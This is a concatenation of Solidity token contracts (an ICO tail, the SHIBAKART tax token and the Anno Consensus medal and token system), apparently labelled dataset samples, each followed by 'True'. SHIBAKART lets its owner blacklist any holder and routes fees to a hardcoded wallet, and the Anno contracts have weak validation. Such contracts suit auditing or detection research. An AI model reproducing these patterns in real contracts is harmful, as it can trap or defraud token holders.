of the tokens, will refund the excess ether if (_tokens > restTokens) { uint256 bonusTokens = restTokens - restTokens / (100 + bonus) * 100; // The wei that the investor will spend for this purchase uint256 spentWei = (restTokens - bonusTokens) / tokensPerEther; // Verify that not return more than the incoming ether assert(spentWei < msg.value); // Will refund extra ether msg.sender.transfer(msg.value - spentWei); _tokens = restTokens; } mintTokens(msg.sender, _tokens); } // Finish the PRE-SALE period, is required the Presale state of the contract function finishPresale() public onlyOwner returns (bool success) { require(contract_state == State.Presale); contract_state = State.waitingForICO; NewState(contract_state); return true; } // Start the ICO period, is required the waitingForICO state of the contract function startICO() public onlyOwner returns (bool success) { require(contract_state == State.waitingForICO); contract_state = State.ICO; NewState(contract_state); return true; } // Our tokens function finishICO() public onlyOwner returns (bool success) { require(contract_state == State.ICO); mintTokens(owner, 50000000000000000000000000); contract_state = State.Active; NewState(contract_state); return true; } } // See ERC20 interface above contract TESTERIUM2 is ICO { using SafeMath for uint256; string public constant name = "ZAREK TOKEN"; string public constant symbol = "€XPLAY"; uint8 public constant decimals = 18; mapping (address => mapping (address => uint256)) private allowed; function balanceOf(address _who) public constant returns (uint256 available) { return balances[_who]; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function transfer(address _to, uint256 _value) public activeState returns (bool success) { require(_to != address(0)); require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public activeState returns (bool success) { require(_to != address(0)); require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public activeState returns (bool success) { require(_spender != address(0)); require(balances[msg.sender] >= _value); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } }

True

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/** *Submitted for verification at Etherscan.io on 2022-03-02 */ // https://t.me/shibakarteth // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SHIBAKART is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "SHIBAKART"; string private constant _symbol = "SHIBAKART"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0x97421A2AcBCfab3A88a27d7E04d36e07A356B253); _buyTax = 12; _sellTax = 12; _rOwned[_feeAddress] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), _feeAddress, _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setremoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 10_000_000_000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 10_000_000_000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 12) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 12) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }

True

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pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- //共识会 contract // //共识勋章：象征着你在共识会的地位和权利 //Anno Consensus Medal: Veni, Vidi, Vici // // Symbol : CPLD // Name : Anno Consensus Medal // Total supply: 1000000 // Decimals : 0 // // 共识币：维护共识新纪元的基石 //Anno Consensus Coin: Caput, Anguli, Seclorum // Symbol : anno // Name : Anno Consensus Token // Total supply: 1000000000 // Decimals : 18 // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Admin contract // ---------------------------------------------------------------------------- contract Administration { event AdminTransferred(address indexed _from, address indexed _to); event Pause(); event Unpause(); address public adminAddress = 0xbd74Dec00Af1E745A21d5130928CD610BE963027; bool public paused = false; modifier onlyAdmin() { require(msg.sender == adminAddress); _; } function setAdmin(address _newAdmin) public onlyAdmin { require(_newAdmin != address(0)); AdminTransferred(adminAddress, _newAdmin); adminAddress = _newAdmin; } function withdrawBalance() external onlyAdmin { adminAddress.transfer(this.balance); } modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() public onlyAdmin whenNotPaused returns(bool) { paused = true; Pause(); return true; } function unpause() public onlyAdmin whenPaused returns(bool) { paused = false; Unpause(); return true; } uint oneEth = 1 ether; } contract AnnoMedal is ERC20Interface, Administration, SafeMath { event MedalTransfer(address indexed from, address indexed to, uint tokens); string public medalSymbol; string public medalName; uint8 public medalDecimals; uint public _medalTotalSupply; mapping(address => uint) medalBalances; mapping(address => bool) medalFreezed; mapping(address => uint) medalFreezeAmount; mapping(address => uint) medalUnlockTime; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function AnnoMedal() public { medalSymbol = "ANCM"; medalName = "Anno Consensus Medal"; medalDecimals = 0; _medalTotalSupply = 1000000; medalBalances[adminAddress] = _medalTotalSupply; MedalTransfer(address(0), adminAddress, _medalTotalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function medalTotalSupply() public constant returns (uint) { return _medalTotalSupply - medalBalances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function medalBalanceOf(address tokenOwner) public constant returns (uint balance) { return medalBalances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function medalTransfer(address to, uint tokens) public whenNotPaused returns (bool success) { if(medalFreezed[msg.sender] == false){ medalBalances[msg.sender] = safeSub(medalBalances[msg.sender], tokens); medalBalances[to] = safeAdd(medalBalances[to], tokens); MedalTransfer(msg.sender, to, tokens); } else { if(medalBalances[msg.sender] > medalFreezeAmount[msg.sender]) { require(tokens <= safeSub(medalBalances[msg.sender], medalFreezeAmount[msg.sender])); medalBalances[msg.sender] = safeSub(medalBalances[msg.sender], tokens); medalBalances[to] = safeAdd(medalBalances[to], tokens); MedalTransfer(msg.sender, to, tokens); } } return true; } // ------------------------------------------------------------------------ // Mint Tokens // ------------------------------------------------------------------------ function mintMedal(uint amount) public onlyAdmin { medalBalances[msg.sender] = safeAdd(medalBalances[msg.sender], amount); _medalTotalSupply = safeAdd(_medalTotalSupply, amount); } // ------------------------------------------------------------------------ // Burn Tokens // ------------------------------------------------------------------------ function burnMedal(uint amount) public onlyAdmin { medalBalances[msg.sender] = safeSub(medalBalances[msg.sender], amount); _medalTotalSupply = safeSub(_medalTotalSupply, amount); } // ------------------------------------------------------------------------ // Freeze Tokens // ------------------------------------------------------------------------ function medalFreeze(address user, uint amount, uint period) public onlyAdmin { require(medalBalances[user] >= amount); medalFreezed[user] = true; medalUnlockTime[user] = uint(now) + period; medalFreezeAmount[user] = amount; } function _medalFreeze(uint amount) internal { require(medalFreezed[msg.sender] == false); require(medalBalances[msg.sender] >= amount); medalFreezed[msg.sender] = true; medalUnlockTime[msg.sender] = uint(-1); medalFreezeAmount[msg.sender] = amount; } // ------------------------------------------------------------------------ // UnFreeze Tokens // ------------------------------------------------------------------------ function medalUnFreeze() public whenNotPaused { require(medalFreezed[msg.sender] == true); require(medalUnlockTime[msg.sender] < uint(now)); medalFreezed[msg.sender] = false; medalFreezeAmount[msg.sender] = 0; } function _medalUnFreeze(uint _amount) internal { require(medalFreezed[msg.sender] == true); medalUnlockTime[msg.sender] = 0; medalFreezed[msg.sender] = false; medalFreezeAmount[msg.sender] = safeSub(medalFreezeAmount[msg.sender], _amount); } function medalIfFreeze(address user) public view returns ( bool check, uint amount, uint timeLeft ) { check = medalFreezed[user]; amount = medalFreezeAmount[user]; timeLeft = medalUnlockTime[user] - uint(now); } } contract AnnoToken is AnnoMedal { event PartnerCreated(uint indexed partnerId, address indexed partner, uint indexed amount, uint singleTrans, uint durance); event RewardDistribute(uint indexed postId, uint partnerId, address indexed user, uint indexed amount); event VipAgreementSign(uint indexed vipId, address indexed vip, uint durance, uint frequence, uint salar); event SalaryReceived(uint indexed vipId, address indexed vip, uint salary, uint indexed timestamp); string public symbol; string public name; uint8 public decimals; uint public _totalSupply; uint public minePool; struct Partner { address admin; uint tokenPool; uint singleTrans; uint timestamp; uint durance; } struct Poster { address poster; bytes32 hashData; uint reward; } struct Vip { address vip; uint durance; uint frequence; uint salary; uint timestamp; } Partner[] partners; Vip[] vips; modifier onlyPartner(uint _partnerId) { require(partners[_partnerId].admin == msg.sender); require(partners[_partnerId].tokenPool > uint(0)); uint deadline = safeAdd(partners[_partnerId].timestamp, partners[_partnerId].durance); require(deadline > now); _; } modifier onlyVip(uint _vipId) { require(vips[_vipId].vip == msg.sender); require(vips[_vipId].durance > now); require(vips[_vipId].timestamp < now); _; } mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; mapping(address => bool) freezed; mapping(address => uint) freezeAmount; mapping(address => uint) unlockTime; mapping(uint => Poster[]) PartnerIdToPosterList; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function AnnoToken() public { symbol = "ANOT"; name = "Anno Consensus Token"; decimals = 18; _totalSupply = 1000000000000000000000000000; minePool = 600000000000000000000000000; balances[adminAddress] = _totalSupply - minePool; Transfer(address(0), adminAddress, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { if(freezed[msg.sender] == false){ balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); } else { if(balances[msg.sender] > freezeAmount[msg.sender]) { require(tokens <= safeSub(balances[msg.sender], freezeAmount[msg.sender])); balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); } } return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { require(freezed[msg.sender] != true); allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { require(freezed[msg.sender] != true); return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { require(freezed[msg.sender] != true); allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Mint Tokens // ------------------------------------------------------------------------ function _mint(uint amount, address receiver) internal { require(minePool >= amount); minePool = safeSub(minePool, amount); balances[receiver] = safeAdd(balances[receiver], amount); Transfer(address(0), receiver, amount); } function mint(uint amount) public onlyAdmin { require(minePool >= amount); minePool = safeSub(minePool, amount); balances[msg.sender] = safeAdd(balances[msg.sender], amount); _totalSupply = safeAdd(_totalSupply, amount); } // ------------------------------------------------------------------------ // Freeze Tokens // ------------------------------------------------------------------------ function freeze(address user, uint amount, uint period) public onlyAdmin { require(balances[user] >= amount); freezed[user] = true; unlockTime[user] = uint(now) + period; freezeAmount[user] = amount; } // ------------------------------------------------------------------------ // UnFreeze Tokens // ------------------------------------------------------------------------ function unFreeze() public { require(freezed[msg.sender] == true); require(unlockTime[msg.sender] < uint(now)); freezed[msg.sender] = false; freezeAmount[msg.sender] = 0; } function ifFreeze(address user) public view returns ( bool check, uint amount, uint timeLeft ) { check = freezed[user]; amount = freezeAmount[user]; timeLeft = unlockTime[user] - uint(now); } // ------------------------------------------------------------------------ // Partner Authorization // ------------------------------------------------------------------------ function createPartner(address _partner, uint _amount, uint _singleTrans, uint _durance) public onlyAdmin returns (uint) { Partner memory _Partner = Partner({ admin: _partner, tokenPool: _amount, singleTrans: _singleTrans, timestamp: uint(now), durance: _durance }); uint newPartnerId = partners.push(_Partner) - 1; PartnerCreated(newPartnerId, _partner, _amount, _singleTrans, _durance); return newPartnerId; } function partnerTransfer(uint _partnerId, bytes32 _data, address _to, uint _amount) public onlyPartner(_partnerId) whenNotPaused returns (bool) { require(_amount <= partners[_partnerId].singleTrans); partners[_partnerId].tokenPool = safeSub(partners[_partnerId].tokenPool, _amount); Poster memory _Poster = Poster ({ poster: _to, hashData: _data, reward: _amount }); uint newPostId = PartnerIdToPosterList[_partnerId].push(_Poster) - 1; _mint(_amount, _to); RewardDistribute(newPostId, _partnerId, _to, _amount); return true; } function setPartnerPool(uint _partnerId, uint _amount) public onlyAdmin { partners[_partnerId].tokenPool = _amount; } function setPartnerDurance(uint _partnerId, uint _durance) public onlyAdmin { partners[_partnerId].durance = uint(now) + _durance; } function getPartnerInfo(uint _partnerId) public view returns ( address admin, uint tokenPool, uint timeLeft ) { Partner memory _Partner = partners[_partnerId]; admin = _Partner.admin; tokenPool = _Partner.tokenPool; if (_Partner.timestamp + _Partner.durance > uint(now)) { timeLeft = _Partner.timestamp + _Partner.durance - uint(now); } else { timeLeft = 0; } } function getPosterInfo(uint _partnerId, uint _posterId) public view returns ( address poster, bytes32 hashData, uint reward ) { Poster memory _Poster = PartnerIdToPosterList[_partnerId][_posterId]; poster = _Poster.poster; hashData = _Poster.hashData; reward = _Poster.reward; } // ------------------------------------------------------------------------ // Vip Agreement // ------------------------------------------------------------------------ function createVip(address _vip, uint _durance, uint _frequence, uint _salary) public onlyAdmin returns (uint) { Vip memory _Vip = Vip ({ vip: _vip, durance: uint(now) + _durance, frequence: _frequence, salary: _salary, timestamp: now + _frequence }); uint newVipId = vips.push(_Vip) - 1; VipAgreementSign(newVipId, _vip, _durance, _frequence, _salary); return newVipId; } function mineSalary(uint _vipId) public onlyVip(_vipId) whenNotPaused returns (bool) { Vip storage _Vip = vips[_vipId]; _mint(_Vip.salary, _Vip.vip); _Vip.timestamp = safeAdd(_Vip.timestamp, _Vip.frequence); SalaryReceived(_vipId, _Vip.vip, _Vip.salary, _Vip.timestamp); return true; } function deleteVip(uint _vipId) public onlyAdmin { delete vips[_vipId]; } function getVipInfo(uint _vipId) public view returns ( address vip, uint durance, uint frequence, uint salary, uint nextSalary, string log ) { Vip memory _Vip = vips[_vipId]; vip = _Vip.vip; durance = _Vip.durance; frequence = _Vip.frequence; salary = _Vip.salary; if(_Vip.timestamp >= uint(now)) { nextSalary = safeSub(_Vip.timestamp, uint(now)); log = "Please Wait"; } else { nextSalary = 0; log = "Pick Up Your Salary Now"; } } // ------------------------------------------------------------------------ // Accept ETH // ------------------------------------------------------------------------ function () public payable { } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyAdmin returns (bool success) { return ERC20Interface(tokenAddress).transfer(adminAddress, tokens); } } contract Anno is AnnoToken { event MembershipUpdate(address indexed member, uint indexed level); event MembershipCancel(address indexed member); event AnnoTradeCreated(uint indexed tradeId, bool indexed ifMedal, uint medal, uint token); event TradeCancel(uint indexed tradeId); event TradeComplete(uint indexed tradeId, address indexed buyer, address indexed seller, uint medal, uint token); event Mine(address indexed miner, uint indexed salary); mapping (address => uint) MemberToLevel; mapping (address => uint) MemberToMedal; mapping (address => uint) MemberToToken; mapping (address => uint) MemberToTime; uint public period = 14 days; uint[5] public boardMember =[ 0, 500, 2500, 25000, 50000 ]; uint[5] public salary = [ 0, 1151000000000000000000, 5753000000000000000000, 57534000000000000000000, 115068000000000000000000 ]; struct AnnoTrade { address seller; bool ifMedal; uint medal; uint token; } AnnoTrade[] annoTrades; function boardMemberApply(uint _level) public whenNotPaused { require(_level > 0 && _level <= 4); require(medalBalances[msg.sender] >= boardMember[_level]); _medalFreeze(boardMember[_level]); MemberToLevel[msg.sender] = _level; if(MemberToTime[msg.sender] == 0) { MemberToTime[msg.sender] = uint(now); } MembershipUpdate(msg.sender, _level); } function getBoardMember(address _member) public view returns ( uint level, uint timeLeft ) { level = MemberToLevel[_member]; if(MemberToTime[_member] > uint(now)) { timeLeft = safeSub(MemberToTime[_member], uint(now)); } else { timeLeft = 0; } } function boardMemberCancel() public whenNotPaused { require(MemberToLevel[msg.sender] > 0); _medalUnFreeze(boardMember[MemberToLevel[msg.sender]]); MemberToLevel[msg.sender] = 0; MembershipCancel(msg.sender); } function createAnnoTrade(bool _ifMedal, uint _medal, uint _token) public whenNotPaused returns (uint) { if(_ifMedal) { require(medalBalances[msg.sender] >= _medal); medalBalances[msg.sender] = safeSub(medalBalances[msg.sender], _medal); MemberToMedal[msg.sender] = _medal; AnnoTrade memory anno = AnnoTrade({ seller: msg.sender, ifMedal:_ifMedal, medal: _medal, token: _token }); uint newMedalTradeId = annoTrades.push(anno) - 1; AnnoTradeCreated(newMedalTradeId, _ifMedal, _medal, _token); return newMedalTradeId; } else { require(balances[msg.sender] >= _token); balances[msg.sender] = safeSub(balances[msg.sender], _token); MemberToToken[msg.sender] = _token; AnnoTrade memory _anno = AnnoTrade({ seller: msg.sender, ifMedal:_ifMedal, medal: _medal, token: _token }); uint newTokenTradeId = annoTrades.push(_anno) - 1; AnnoTradeCreated(newTokenTradeId, _ifMedal, _medal, _token); return newTokenTradeId; } } function cancelTrade(uint _tradeId) public whenNotPaused { AnnoTrade memory anno = annoTrades[_tradeId]; require(anno.seller == msg.sender); if(anno.ifMedal){ medalBalances[msg.sender] = safeAdd(medalBalances[msg.sender], anno.medal); MemberToMedal[msg.sender] = 0; } else { balances[msg.sender] = safeAdd(balances[msg.sender], anno.token); MemberToToken[msg.sender] = 0; } delete annoTrades[_tradeId]; TradeCancel(_tradeId); } function trade(uint _tradeId) public whenNotPaused { AnnoTrade memory anno = annoTrades[_tradeId]; if(anno.ifMedal){ medalBalances[msg.sender] = safeAdd(medalBalances[msg.sender], anno.medal); MemberToMedal[anno.seller] = 0; transfer(anno.seller, anno.token); delete annoTrades[_tradeId]; TradeComplete(_tradeId, msg.sender, anno.seller, anno.medal, anno.token); } else { balances[msg.sender] = safeAdd(balances[msg.sender], anno.token); MemberToToken[anno.seller] = 0; medalTransfer(anno.seller, anno.medal); delete annoTrades[_tradeId]; TradeComplete(_tradeId, msg.sender, anno.seller, anno.medal, anno.token); } } function mine() public whenNotPaused { uint level = MemberToLevel[msg.sender]; require(MemberToTime[msg.sender] < uint(now)); require(level > 0); _mint(salary[level], msg.sender); MemberToTime[msg.sender] = safeAdd(MemberToTime[msg.sender], period); Mine(msg.sender, salary[level]); } function setBoardMember(uint one, uint two, uint three, uint four) public onlyAdmin { boardMember[1] = one; boardMember[2] = two; boardMember[3] = three; boardMember[4] = four; } function setSalary(uint one, uint two, uint three, uint four) public onlyAdmin { salary[1] = one; salary[2] = two; salary[3] = three; salary[4] = four; } function setPeriod(uint time) public onlyAdmin { period = time; } function getTrade(uint _tradeId) public view returns 